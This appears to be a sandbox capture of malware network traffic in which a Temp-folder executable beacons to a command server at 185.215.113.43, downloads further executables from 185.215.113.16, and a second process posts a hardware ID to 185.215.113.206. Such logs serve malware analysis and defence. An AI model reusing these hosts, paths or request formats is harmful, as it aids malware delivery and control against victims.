Nov 1, 2024 08:50:20.654928923 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:50:20 GMT Content-Type: application/octet-stream Content-Length: 1874432 Last-Modified: Fri, 01 Nov 2024 07:49:17 GMT Connection: keep-alive ETag: "672487fd-1c9a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf J@PJ_@WkDJTJ @.rsrcD@.idata @ )@hbhuwskf0~@ihphxsarJt@.taggant0 J"x@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	57639	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:05.259351969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 08:51:06.167694092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	57653	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:07.685632944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 08:51:08.611993074 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 33 31 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 31 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 31 32 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 31 32 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1003122001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003123001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003124001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003125001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	57660	185.215.113.16	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:08.620971918 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 08:51:09.525327921 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:09 GMT Content-Type: application/octet-stream Content-Length: 3069952 Last-Modified: Fri, 01 Nov 2024 07:48:57 GMT Connection: keep-alive ETag: "672487e9-2ed800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 32 00 00 04 00 00 d8 80 2f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ1@2/@Th@ ~@.rsrc@@.idata @dolctmic ,,@nozaowtq1.@.taggant01".@
Nov 1, 2024 08:51:09.525340080 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:09.525440931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:09.525455952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:09.525481939 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:09.525494099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: NNP!'/7;0v4<$NRp7Y.X@(mu,9mg6D4yJ)Wsk;D
Nov 1, 2024 08:51:09.525506020 CET	212	IN	Data Raw: e9 ae c4 34 a8 d2 67 b9 83 d1 65 89 be 77 06 81 c9 22 ea 3d dd 11 a7 c1 2b 6c 4a 05 a6 5a 89 9e 32 91 00 8a ed 4e 6d 35 2a ec c1 70 07 b8 56 99 43 db 1b 5f f7 80 46 bf c2 17 18 3f c8 e3 e6 40 a7 fe 00 5d f9 9b 64 8b 24 d3 ce ea 0f 43 a9 5d b7 51 Data Ascii: 4gew"=+lJZ2Nm5pVC_F?@]d$C]Qg#N[t?nJZqAzWGe\|2sI,ZPW_><t9K}(_=@o&gP*1DLR\,?0Jw$%
Nov 1, 2024 08:51:09.525521040 CET	1236	IN	Data Raw: fc 87 d1 f2 64 34 1f be c0 25 41 a2 ef 63 3d 3c e0 db 0f fa 2a 32 71 1b 23 2d 2b 3d 31 5f 3b ae 5a 61 67 4c b0 1b 6b 95 f2 23 63 ab 29 7a 49 97 eb 50 64 cb 12 63 26 6f f8 09 73 77 2a 52 d7 a8 3b 9c 1b 8e e1 97 ff e6 b4 8f 53 7e b1 43 c2 b3 0b 18 Data Ascii: d4%Ac=<2q#-+=1_;ZagLk#c)zIPdc&oswR;S~CJbI"AO$=zo[]Y,So\cVIG:J}N`k36Je;kG'K+htI~jj]UOQ;K2AIl{a}]IXYQo
Nov 1, 2024 08:51:09.525582075 CET	1236	IN	Data Raw: 37 44 53 0a 4c ef 86 8b 65 6a e6 ee 7d ed 40 fa 2d 35 de d4 3e 26 4b c8 f9 5d 02 50 6b c7 ca 8a 8a 28 46 87 f8 b7 28 10 c2 6a 84 76 ff cd e6 fe 98 97 91 62 19 65 ab ef 0f d2 49 ad 37 1b 6c 7e 99 10 9e bd 38 dd 6e 32 66 47 61 99 69 c1 7d 6b 1c 81 Data Ascii: 7DSLej}@-5>&K]Pk(F(jvbeI7l~8n2fGai}kQX.;>:Hw~rS&A+.oW8\|bk~w25zCq@{\Z3Uj\VoH=>fmc~~D.`u^/
Nov 1, 2024 08:51:09.525597095 CET	1236	IN	Data Raw: 4f 3f 38 22 47 8a 80 48 5a 10 30 05 49 c8 f5 be 07 fd df da 29 b7 36 03 42 20 3f 1a 37 92 9e b4 93 e3 9b c9 03 81 9f ac c2 90 89 cb 1d cc 3d de 6c 3c 1e 2b c8 43 89 d2 ed b5 cb 90 3a 39 7e 9a 0c 2b 8f 57 d3 86 06 16 f0 d7 bd 92 11 3b e3 e5 5a c3 Data Ascii: O?8"GHZ0I)6B ?7=l<+C:9~+W;Z1i3mfdsziQj7#PaPc;<mfWc?-J0A}o-#BC]K8//p\|J=8m-3=Zkw]4D^K
Nov 1, 2024 08:51:09.530497074 CET	1236	IN	Data Raw: c6 c3 bd 94 6d 0c c6 87 73 f2 80 26 19 43 f9 18 66 98 50 8e 11 35 00 f8 b1 bf 87 73 36 44 0d 90 ab 52 16 0a 5b 30 2e d4 7f ec a0 e2 c6 be 24 d6 53 93 11 ad bd da 6d b7 21 c0 d8 17 92 42 cf 4f 2f 51 ce 0f 71 e0 53 7c 31 fe 7e 8b 50 fe ff e5 44 6a Data Ascii: ms&CfP5s6DR[0.$Sm!BO/QqS\|1~PDjWXum.o^4Mu8WG=f?u\WA^6q<^:d,O}!0Xu}V\VGo#+Vc=rjC:U/o1C,S7_6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	57773	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:29.875125885 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003122001&unit=246122658369
Nov 1, 2024 08:51:31.508759975 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 1, 2024 08:51:31.508927107 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 1, 2024 08:51:31.508959055 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	57777	185.215.113.16	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:31.527914047 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 08:51:32.463530064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:32 GMT Content-Type: application/octet-stream Content-Length: 2159616 Last-Modified: Fri, 01 Nov 2024 07:49:10 GMT Connection: keep-alive ETag: "672487f6-20f400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 c0 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 73 00 00 04 00 00 65 a7 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@se!@P.d. p.v@.rsrc .@.idata .@ *.@rcutauayP`YD@rnjpicgcs @.taggant0s" @
Nov 1, 2024 08:51:32.463582993 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:32.463609934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:32.463627100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:32.463643074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:32.463659048 CET	1236	IN	Data Raw: fb 60 40 99 6f f9 a3 d0 e9 a0 85 80 22 76 a7 37 4d c4 84 fe e6 e6 62 17 77 07 08 2d ab 14 92 6f e2 46 4a 24 69 93 24 e6 9b f9 be 47 00 af 20 1f 62 d3 ad be 1f ee a8 fe a0 0b 0a fa de f4 91 06 00 31 66 52 ec 9b e6 b5 c4 80 c2 7e 27 30 6f ae ff 73 Data Ascii: `@o"v7Mbw-oFJ$i$G b1fR~'0osf.\ `&KapGgh0tTITtZZ9+A]{jL0'X$!?U%-7\5--n51n55n59n5=n5An5En5In5Mn?g3gic
Nov 1, 2024 08:51:32.463675022 CET	448	IN	Data Raw: 61 01 f8 fd ed 5b 71 25 3d dc 98 6c c6 03 18 78 cb 7f e7 bc fd ef de 24 36 37 6b 16 0d c1 ff 56 95 af dc f0 36 26 d2 99 c3 f8 8e 8f 65 f7 cd 23 22 e8 c2 4c 36 31 eb cc 01 0c c6 13 f2 ab d4 0d fd 3d 27 1e 0f ab 9c 9d 2f 9e d8 98 84 a9 91 90 d8 70 Data Ascii: a[q%=lx$67kV6&e#"L61='/p`E+OPW/%Lb%94lvxie6o%_cmmCkF@;!^s!-!Mh-=& x`UGK?}ZVY
Nov 1, 2024 08:51:32.463804960 CET	1236	IN	Data Raw: 29 3c 70 d4 d7 1a a2 b9 e5 cd d0 1d 27 ee 87 08 26 24 59 8b 3d 15 bd f3 69 16 c4 78 f9 6d f0 91 f0 df b2 aa 43 30 81 ca 95 0f 23 1e 3d 0b 8a 2c d4 2c 3e 31 ba ab 71 5e 07 1c 85 81 d7 d6 e6 f1 4a 4b 10 0c 84 a3 19 70 f9 78 d3 f0 61 7e 9e fe 1a de Data Ascii: )<p'&$Y=ixmC0#=,,>1q^JKpxa~PM3r=C#kz?x$15M"=B+5wSTk\|T/dQ]Yx/WSp[G]S)i/sxY<' XST?Ti\| I9mtU
Nov 1, 2024 08:51:32.463821888 CET	1236	IN	Data Raw: 0d cb ea b5 39 73 88 a8 59 32 14 1d c1 56 48 bd 19 a7 a2 87 0e 37 bc 5d 9f b3 99 1c a9 73 e2 f1 5d 4d 48 ed 59 04 6c 2f 1e 24 64 73 59 13 78 26 f7 ef a7 53 05 0e 38 15 e5 13 10 29 5d 02 62 f1 43 04 a8 14 09 6f a3 0a ee 24 aa 78 52 3b c0 25 21 6f Data Ascii: 9sY2VH7]s]MHYl/$dsYx&S8)]bCo$xR;%!o-2tCNh5MmV*ZJ%lJ/X/[^y6:EOIUMdY.$N9$/$T@@IC0di[LPC-prI
Nov 1, 2024 08:51:32.463838100 CET	1236	IN	Data Raw: f6 81 30 1d 8d 73 0b f2 f5 ce d4 34 95 04 c2 d8 f8 5d 0b 49 45 04 b9 e4 17 04 68 1e 2e 07 30 50 40 0c 78 15 dd 23 11 4d 9a 4f ed 98 27 03 c4 44 01 8c 99 33 f1 bb c3 7a f6 2b 90 60 5d f9 63 d9 f9 72 8d 26 ee fb ef 90 ca f8 e0 b4 44 fd cc 94 ca 04 Data Ascii: 0s4]IEh.0P@x#MO'D3z+`]cr&D]eht%?pV y}5H&#lN}%,J&&.#3{aG9cl%{ 1}-oCp%skZ%L%)/ w%%
Nov 1, 2024 08:51:32.468594074 CET	1236	IN	Data Raw: 1f 86 99 71 41 c4 81 f5 1d fc b3 55 e7 6d 19 26 dd 17 6f d7 a1 04 90 48 5d 54 65 3d ad 82 bc 50 1f 37 21 58 25 07 08 c0 40 ff 3b 71 f6 47 91 43 9e c3 46 2e b8 2d b2 7c e6 09 9c 10 1f 59 23 da f6 35 a0 25 1c f0 ad e4 d6 b0 28 15 ee 9f c2 f8 d7 1c Data Ascii: qAUm&oH]Te=P7!X%@;qGCF.-\|Y#5%(T@&l5dJsvz % sOPZqa_bc9\|s!&m4g}o>}J*Bc8_or7?L%Y2YXSRiX%c;WP;cz$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	57830	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:40.296097040 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003123001&unit=246122658369
Nov 1, 2024 08:51:41.199126005 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	57838	185.215.113.206	80	6988	C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:41.183149099 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 08:51:42.106406927 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 08:51:42.109203100 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"tale------BGHJJDGHCBGDHIECBGID--
Nov 1, 2024 08:51:42.401258945 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	57840	185.215.113.16	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:41.206356049 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 08:51:42.106982946 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:41 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Fri, 01 Nov 2024 07:45:19 GMT Connection: keep-alive ETag: "6724870f-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 07 87 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program 